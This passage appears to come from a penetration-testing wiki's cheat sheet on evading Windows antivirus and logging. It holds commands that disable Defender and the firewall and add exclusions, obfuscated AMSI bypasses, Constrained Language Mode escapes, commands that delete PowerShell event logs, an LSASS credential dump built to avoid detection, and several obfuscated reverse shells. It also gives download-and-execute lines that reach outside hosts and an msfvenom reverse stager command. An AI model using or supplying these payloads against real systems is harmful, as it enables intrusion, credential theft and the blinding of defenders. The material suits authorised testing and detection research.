* Find excluded folders from Windows Defender: &amp;lt;code&amp;gt;Get-MpPreference | select Exclusion*&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create exclusion: &amp;lt;code&amp;gt;Set-MpPreference -ExclusionPath &amp;quot;&amp;lt;path&amp;gt;&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check AV detections: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get last AV detection: &amp;lt;code&amp;gt;Get-MpThreatDetection | Sort-Object -Property InitialDetectionTime | Select-Object -First 1&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable AV monitoring: &amp;lt;code&amp;gt;Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPReference -DisableIOAVProtection $true&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enumerate ASR rules: https://github.com/directorcia/Office365/blob/master/win10-asr-get.ps1&lt;br /&gt;
&lt;br /&gt;
* Enumerate AV / EDR: https://github.com/tothi/serviceDetector&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
// What AV is running on the system&lt;br /&gt;
// Importing necessary namespaces&lt;br /&gt;
using System;&lt;br /&gt;
using System.Management;&lt;br /&gt;
internal class Program&lt;br /&gt;
{&lt;br /&gt;
    static void Main(string[] args)&lt;br /&gt;
    {&lt;br /&gt;
        var status = false; // Variable to track the presence of antivirus software&lt;br /&gt;
        Console.WriteLine(&amp;quot;[+] Antivirus check is running .. &amp;quot;);&lt;br /&gt;
        // Array of antivirus processes to check for&lt;br /&gt;
        string[] AV_Check = {&lt;br /&gt;
            &amp;quot;MsMpEng.exe&amp;quot;, &amp;quot;AdAwareService.exe&amp;quot;, &amp;quot;afwServ.exe&amp;quot;, &amp;quot;avguard.exe&amp;quot;, &amp;quot;AVGSvc.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;bdagent.exe&amp;quot;, &amp;quot;BullGuardCore.exe&amp;quot;, &amp;quot;ekrn.exe&amp;quot;, &amp;quot;fshoster32.exe&amp;quot;, &amp;quot;GDScan.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;avp.exe&amp;quot;, &amp;quot;K7CrvSvc.exe&amp;quot;, &amp;quot;McAPExe.exe&amp;quot;, &amp;quot;NortonSecurity.exe&amp;quot;, &amp;quot;PavFnSvr.exe&amp;quot;,&lt;br /&gt;
            &amp;quot;SavService.exe&amp;quot;, &amp;quot;EnterpriseService.exe&amp;quot;, &amp;quot;WRSA.exe&amp;quot;, &amp;quot;ZAPrivacyService.exe&amp;quot;&lt;br /&gt;
        };&lt;br /&gt;
        // Creating a ManagementObjectSearcher to query Windows processes&lt;br /&gt;
        var searcher = new ManagementObjectSearcher(&amp;quot;select * from win32_process&amp;quot;);&lt;br /&gt;
        var processList = searcher.Get(); // Retrieving the list of processes&lt;br /&gt;
        int i = 0;&lt;br /&gt;
        foreach (var process in processList)&lt;br /&gt;
        {&lt;br /&gt;
            // Checking if the process is one of the antivirus processes&lt;br /&gt;
            int _index = Array.IndexOf(AV_Check, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
            if (_index &amp;gt; -1)&lt;br /&gt;
            {&lt;br /&gt;
                // Antivirus process found&lt;br /&gt;
                Console.WriteLine(&amp;quot;--AV Found: {0}&amp;quot;, process[&amp;quot;Name&amp;quot;].ToString());&lt;br /&gt;
                status = true;&lt;br /&gt;
            }&lt;br /&gt;
            i++;&lt;br /&gt;
        }&lt;br /&gt;
        // Checking the status variable to determine if antivirus software was found or not&lt;br /&gt;
        if (!status)&lt;br /&gt;
        {&lt;br /&gt;
            Console.WriteLine(&amp;quot;--AV software is not found!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows Firewall ===&lt;br /&gt;
&lt;br /&gt;
* Get state: &amp;lt;code&amp;gt;Get-NetFirewallProfile -PolicyStore ActiveStore&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Get rules: &amp;lt;code&amp;gt;Get-netfirewallrule | format-table name,displaygroup,action,direction,enabled -autosize&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Enable firewall: &amp;lt;code&amp;gt;Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change default policy: &amp;lt;code&amp;gt;Set-NetFirewallProfile -DefaultInboundAction Block -DefaultOutboundAction Allow&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Open port on firewall: &amp;lt;code&amp;gt;netsh advfirewall firewall add rule name=&amp;quot;Allow port&amp;quot; dir=in action=allow protocol=TCP localport=&amp;lt;PORT&amp;gt;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Remove firewall rule: &amp;lt;code&amp;gt;Remove-NetFirewallRule -DisplayName &amp;quot;Allow port&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell – ASMI bypass methods, Disable AV, etc ===&lt;br /&gt;
&lt;br /&gt;
[https://amsi.fail/ AMSI.fail]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.AmsiUtils&#039;).GetField(&#039;amsiInitFai&lt;br /&gt;
led&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AMSI Bypass ====&lt;br /&gt;
&lt;br /&gt;
* Start 64 bit powershell: &amp;lt;code&amp;gt;%SystemRoot%\sysnative\WindowsPowerShell\v1.0\powershell.exe&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Change execution policy: &amp;lt;code&amp;gt;Set-ExecutionPolicy Bypass&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;-ExecutionPolicy Bypass&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Bypass AMSI (AntiMalware Scan Interface): Use one of the following single-line or multi-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;If patched, just change up the strings/variables.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$A=\&amp;quot;5492868772801748688168747280728187173688878280688776\&amp;quot; $B=\&amp;quot;8281173680867656877679866880867644817687416876797271\&amp;quot; function C ($n, $m) {  [string] ($n..$m|% { [char] [int] (29+ ($A+$B).  substring ( ($_*2),2))})-replace \&amp;quot; \&amp;quot;} $k=C 0 37; $r=C 38 51 $a= [Ref].Assembly.GetType ($k) $a.GetField ($r,&#039;NonPublic,Static&#039;).SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Multi-line bypass:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$a = &#039;System.Management.Automation.A&#039;;$b = &#039;ms&#039;;$u = &#039;Utils&#039;&lt;br /&gt;
$assembly = [Ref].Assembly.GetType ( (&#039; {0} {1}i {2}&#039; -f $a,$b,$u))&lt;br /&gt;
$field = $assembly.GetField ( (&#039;a {0}iInitFailed&#039; -f $b),&#039;NonPublic,Static&#039;)&lt;br /&gt;
$field.SetValue ($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Single-line bypasses:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
S`eT-It`em ( &#039;V&#039;+&#039;aR&#039; +  &#039;IA&#039; + (&#039;blE:1&#039;+&#039;q2&#039;)  + (&#039;uZ&#039;+&#039;x&#039;)  ) ( [TYpE](  &amp;quot;{1}{0}&amp;quot;-F&#039;F&#039;,&#039;rE&#039;  ) )  ;    (    Get-varI`A`BLE  ( (&#039;1Q&#039;+&#039;2U&#039;)  +&#039;zX&#039;  )  -VaL  ).&amp;quot;A`ss`Embly&amp;quot;.&amp;quot;GET`TY`Pe&amp;quot;((  &amp;quot;{6}{3}{1}{4}{2}{0}{5}&amp;quot; -f(&#039;Uti&#039;+&#039;l&#039;),&#039;A&#039;,(&#039;Am&#039;+&#039;si&#039;),(&#039;.Man&#039;+&#039;age&#039;+&#039;men&#039;+&#039;t.&#039;),(&#039;u&#039;+&#039;to&#039;+&#039;mation.&#039;),&#039;s&#039;,(&#039;Syst&#039;+&#039;em&#039;)  ) ).&amp;quot;g`etf`iElD&amp;quot;(  ( &amp;quot;{0}{2}{1}&amp;quot; -f(&#039;a&#039;+&#039;msi&#039;),&#039;d&#039;,(&#039;I&#039;+&#039;nitF&#039;+&#039;aile&#039;)  ),(  &amp;quot;{2}{4}{0}{1}{3}&amp;quot; -f (&#039;S&#039;+&#039;tat&#039;),&#039;i&#039;,(&#039;Non&#039;+&#039;Publ&#039;+&#039;i&#039;),&#039;c&#039;,&#039;c,&#039;  )).&amp;quot;sE`T`VaLUE&amp;quot;(  ${n`ULl},${t`RuE} )&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://buaq.net/go-98295.html https://buaq.net/go-98295.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.&#039;+$(&amp;quot;41 6D 73 69 55 74 69 6C 73&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($(&amp;quot;61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64&amp;quot;.Split(&amp;quot; &amp;quot;)|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification] (however, I think it’s originally from Matt Graeber)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType((&amp;quot;{5}{2}{0}{1}{3}{6}{4}&amp;quot; -f &#039;ut&#039;,(&#039;oma&#039;+&#039;t&#039;+&#039;ion.&#039;),&#039;.A&#039;,(&#039;Ams&#039;+&#039;iUt&#039;),&#039;ls&#039;,(&#039;S&#039;+&#039;ystem.&#039;+&#039;Manage&#039;+&#039;men&#039;+&#039;t&#039;),&#039;i&#039;)).GetField((&amp;quot;{1}{2}{0}&amp;quot; -f (&#039;Co&#039;+&#039;n&#039;+&#039;text&#039;),(&#039;am&#039;+&#039;s&#039;),&#039;i&#039;),[Reflection.BindingFlags](&amp;quot;{4}{2}{3}{0}{1}&amp;quot; -f(&#039;b&#039;+&#039;lic,Sta&#039;+&#039;ti&#039;),&#039;c&#039;,&#039;P&#039;,&#039;u&#039;,(&#039;N&#039;+&#039;on&#039;))).GetValue($null),0x41414141)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: [https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html https://www.trendmicro.com/en_us/research/22/l/detecting-windows-amsi-bypass-techniques.html]&lt;br /&gt;
&lt;br /&gt;
==== Bypass CLM (Constrained Language Mode) ====&lt;br /&gt;
&lt;br /&gt;
Escapes for Constrained Language Mode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Escape 1&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode&lt;br /&gt;
# Escape 2&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.InitialSessionState.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
[Runspace]::DefaultRunspace.SessionStateProxy.LanguageMode = &amp;quot;FullLanguage&amp;quot;&lt;br /&gt;
# Escape 3&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 4&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
$ExecutionContext.SessionState.GetType().GetField(&#039;languageMode&#039;,&#039;NonPublic,Instance&#039;).SetValue($ExecutionContext.SessionState,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 5&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,[System.Management.Automation.PSLanguageMode]::FullLanguage)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 6&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Utils&#039;).GetField(&#039;cachedLanguageMode&#039;,&#039;NonPublic,Static&#039;).SetValue($null,1)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 7&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;signatures&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.List[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.ScriptBlock&#039;).GetField(&#039;optimizedAstCache&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.Dictionary[string,System.Management.Automation.Ast]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).SetValue($null,(New-Object &#039;Collections.Generic.HashSet[string]&#039;))&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedVariables&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.CompiledScriptBlockData&#039;).GetField(&#039;allowedCommands&#039;,&#039;NonPublic,Static&#039;).Add(&#039;*&#039;)&lt;br /&gt;
$ExecutionContext.SessionState.LanguageMode&lt;br /&gt;
# Escape 8&lt;br /&gt;
function Invoke-Expression {param([string]$Command); [ScriptBlock]::Create($Command).Invoke()}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass logging ====&lt;br /&gt;
&lt;br /&gt;
Logging evasion techniques:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Technique 1: Disable Script Block Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging -Name EnableScriptBlockLogging -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 2: Disable Transcription Logging and Module Logging&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription -Name EnableTranscripting -Value 0 -Force&lt;br /&gt;
Set-ItemProperty -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging -Name EnableModuleLogging -Value 0 -Force&lt;br /&gt;
# Technique 3: Delete the log files from the system (requires admin privileges)&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Operational.evtx -Force&lt;br /&gt;
Remove-Item C:\Windows\System32\winevt\Logs\Microsoft-Windows-PowerShell%4Admin.evtx -Force&lt;br /&gt;
# Technique 4: Use Invoke-Expression to bypass Script Block Logging and Module Logging (requires PowerShell v5 or higher)&lt;br /&gt;
Invoke-Expression &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://example.com/payload.ps1&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Disable MS Defender (Require elevation) ====&lt;br /&gt;
&lt;br /&gt;
Turning off Windows Defender: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MPPreference&lt;br /&gt;
Set-MPPreference -DisableRealTimeMonitoring $true&lt;br /&gt;
Set-MPPreference -DisableIOAVProtection $true&lt;br /&gt;
Set-MPPreference -DisableIntrusionPreventionSystem $true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Add folder exclusion ====&lt;br /&gt;
&lt;br /&gt;
Adding a folder exclusion &amp;lt;code&amp;gt;Add-MpPreference -ExclusionPath &amp;quot;C:\temp&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Checking exclusions&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Get-MpPreference | Select-Object -Property ExclusionPath&lt;br /&gt;
ExclusionPath&lt;br /&gt;
-------------&lt;br /&gt;
{C:\temp}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LSASS dumping without triggering Defender ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$S = &amp;quot;C:\temp&amp;quot;&lt;br /&gt;
$P = (Get-Process lsass)&lt;br /&gt;
$A = [PSObject].Assembly.GetType(&#039;Syst&#039;+&#039;em.Manage&#039;+&#039;ment.Autom&#039;+&#039;ation.Windo&#039;+&#039;wsErrorRe&#039;+&#039;porting&#039;)&lt;br /&gt;
$B = $A.GetNestedType(&#039;Nativ&#039;+&#039;eMethods&#039;, &#039;Non&#039;+&#039;Public&#039;)&lt;br /&gt;
$C = [Reflection.BindingFlags] &#039;NonPublic, Static&#039;&lt;br /&gt;
$D = $B.GetMethod(&#039;MiniDum&#039;+&#039;pWriteDump&#039;, $C)&lt;br /&gt;
$PF = &amp;quot;$($P.Name)_$($P.Id).dmp&amp;quot;&lt;br /&gt;
$PDP = Join-Path $S $PF&lt;br /&gt;
$F = New-Object IO.FileStream($PDP, [IO.FileMode]::Create)&lt;br /&gt;
$R = $D.Invoke($null, @($P.Handle,$G,$F.SafeFileHandle,[UInt32] 2,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero))&lt;br /&gt;
$F.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Reverse Shells ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Set-Alias -Name K -Value Out-String&lt;br /&gt;
Set-Alias -Name nothingHere -Value iex&lt;br /&gt;
$BT = New-Object &amp;quot;S`y`stem.Net.Sockets.T`CPCl`ient&amp;quot;($args[0],$args[1]);&lt;br /&gt;
$replace = $BT.GetStream();&lt;br /&gt;
[byte[]]$B = 0..(32768*2-1)|%{0};&lt;br /&gt;
$B = ([text.encoding]::UTF8).GetBytes(&amp;quot;(c) Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
$B = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$replace.Write($B,0,$B.Length)&lt;br /&gt;
[byte[]]$int = 0..(10000+55535)|%{0};&lt;br /&gt;
while(($i = $replace.Read($int, 0, $int.Length)) -ne 0){;&lt;br /&gt;
$ROM = [text.encoding]::ASCII.GetString($int,0, $i);&lt;br /&gt;
$I = (nothingHere $ROM 2&amp;gt;&amp;amp;1 | K );&lt;br /&gt;
$I2  = $I + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$U = [text.encoding]::ASCII.GetBytes($I2);&lt;br /&gt;
$replace.Write($U,0,$U.Length);&lt;br /&gt;
$replace.Flush()};&lt;br /&gt;
$BT.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$J = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$SS = $J.GetStream();&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes(&amp;quot;Copyright (C) 2022 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
$OO = ([text.encoding]::UTF8).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$SS.Write($OO,0,$OO.Length)&lt;br /&gt;
[byte[]]$OO = 0..((2-shl(3*5))-1)|%{0};&lt;br /&gt;
while(($A = $SS.Read($OO, 0, $OO.Length)) -ne 0){;$DD = (New-Object System.Text.UTF8Encoding).GetString($OO,0, $A);&lt;br /&gt;
$GG = (i`eX $DD 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$H  = $GG + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$L = ([text.encoding]::UTF8).GetBytes($H);&lt;br /&gt;
$SS.Write($L,0,$L.Length);&lt;br /&gt;
$SS.Flush()};&lt;br /&gt;
$J.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$c = New-Object System.Net.Sockets.TCPClient($args[0],$args[1]);&lt;br /&gt;
$I = $c.GetStream();&lt;br /&gt;
[byte[]]$U = 0..(2-shl15)|%{0};&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes(&amp;quot;Copyright (C) 2021 Microsoft Corporation. All rights reserved.`n`n&amp;quot;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
$U = ([text.encoding]::ASCII).GetBytes((Get-Location).Path + &#039;&amp;gt;&#039;)&lt;br /&gt;
$I.Write($U,0,$U.Length)&lt;br /&gt;
while(($k = $I.Read($U, 0, $U.Length)) -ne 0){;$D = (New-Object System.Text.UTF8Encoding).GetString($U,0, $k);&lt;br /&gt;
$a = (iex $D 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
$r  = $a + (pwd).Path + &#039;&amp;gt; &#039;;&lt;br /&gt;
$m = ([text.encoding]::ASCII).GetBytes($r);&lt;br /&gt;
$I.Write($m,0,$m.Length);&lt;br /&gt;
$I.Flush()};&lt;br /&gt;
$c.Close()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)&lt;br /&gt;
&lt;br /&gt;
Reverse PowerShell:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;10.10.14.5&#039;, 4445);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do{&lt;br /&gt;
        $writer.Write(&amp;quot;PS&amp;gt; &amp;quot;);&lt;br /&gt;
        $writer.Flush();&lt;br /&gt;
        $read = $null;&lt;br /&gt;
        while($stream.DataAvailable -or ($read = $stream.Read($buffer, 0, 1024)) -eq $null){}&lt;br /&gt;
        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($buffer, 0, $read);&lt;br /&gt;
        $sendback = (iex $data 2&amp;gt;&amp;amp;1 | Out-String );&lt;br /&gt;
        $sendback2  = $sendback;&lt;br /&gt;
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);&lt;br /&gt;
        $writer.Write($sendbyte,0,$sendbyte.Length);&lt;br /&gt;
}While ($true);&lt;br /&gt;
$writer.close();$socket.close();&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== PowerShell Download payload ====&lt;br /&gt;
&lt;br /&gt;
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (new-object net.webclient).downloaddata(&amp;quot;http://10.10.16.74:8080/payload.exe&amp;quot;)&lt;br /&gt;
[System.Reflection.Assembly]::Load($bytes)&lt;br /&gt;
$BindingFlags= [Reflection.BindingFlags] &amp;quot;NonPublic,Static&amp;quot;&lt;br /&gt;
$main = [Shell].getmethod(&amp;quot;Main&amp;quot;, $BindingFlags)&lt;br /&gt;
$main.Invoke($null, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tools that may help with AV Evasion:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]&lt;br /&gt;
&lt;br /&gt;
== C2 Frameworks ==&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2476 Command And Control – C2 Framework – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
=== Bypassing defender with sliver and staged process hollowing ===&lt;br /&gt;
&lt;br /&gt;
I was able to bypass Windows Defender on a fully patched Windows 10 (12.12.2023) using process hollowing and sliver with shellcode generated by msfvenom.&lt;br /&gt;
&lt;br /&gt;
This is a two staged exectution. The first stage will get our stager for sliver and inject it to svchost using process hollowing. The next stage is sliver executing our implant on the target.&lt;br /&gt;
&lt;br /&gt;
Ps. I was able to bypass defender on Windows 11, however I had to run it through ConfuserEX and enable InsecureGuestAuth. Implementing an authentication method for SMB in the process hollowing code would&#039;ve helped us circumvent guest access blocking.&lt;br /&gt;
&lt;br /&gt;
First generate a shellcode using msfvenom.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p windows/x64/custom/reverse_winhttp LHOST=192.168.1.38 LPORT=1234 LURI=/hello.woff -f raw -o stager.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
